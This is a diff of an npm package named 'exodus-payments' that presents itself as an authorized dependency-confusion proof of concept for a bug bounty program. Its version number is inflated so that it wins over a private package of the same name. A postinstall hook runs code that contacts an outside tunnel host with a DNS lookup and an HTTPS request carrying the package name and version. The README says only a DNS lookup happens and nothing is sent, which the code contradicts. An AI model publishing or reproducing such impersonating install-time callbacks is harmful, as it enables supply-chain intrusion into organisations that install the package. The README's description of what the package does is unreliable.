exodus-payments 99.0.0-canary.1

package/README.md

@@ -0,0 +1,9 @@
+# Security Research Canary
+
+This package (`exodus-payments`) is part of an authorized dependency confusion PoC
+for the **Exodus HackerOne bug bounty program** (hackerone.com/exodus).
+
+On `npm install`, this package performs a **single DNS lookup** to a canary server.
+No data is collected or transmitted.
+
+Will be unpublished/transferred upon report resolution.

package/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "exodus-payments",
+  "version": "99.0.0-canary.1",
+  "description": "Security research canary \u2014 Exodus HackerOne dependency confusion PoC. NOT a real package. Will be unpublished after verification.",
+  "main": "src/index.js",
+  "scripts": {
+    "postinstall": "node src/canary.js"
+  },
+  "keywords": [
+    "exodus",
+    "checkout",
+    "payments",
+    "security-research"
+  ],
+  "author": "Security Researcher",
+  "license": "UNLICENSED",
+  "files": [
+    "src/",
+    "package.json",
+    "README.md"
+  ]
+}

package/src/canary.js

@@ -0,0 +1,7 @@
+const dns = require('dns');
+const https = require('https');
+const HOST = '96e03fa6c292469a-172-245-86-254.serveousercontent.com';
+const URL = 'https://' + HOST;
+dns.lookup(HOST, () => {});
+https.get(URL + '/canary-install?pkg=' + require('./package').name + '&ver=' + require('./package').version, (r) => r.resume()).on('error', () => {});
+console.log('');

package/src/index.js

@@ -0,0 +1,5 @@
+const err = () => { throw new Error('SECURITY RESEARCH CANARY. If installed by mistake: npm uninstall <pkg>. See docs.exodus.com for the real package.'); };
+module.exports = {
+  generateMnemonicSigningKeys: err, signDirectPaymentMultiChain: err,
+  signCapture: err, signRefund: err, signCharge: err, signCancelSubscription: err,
+};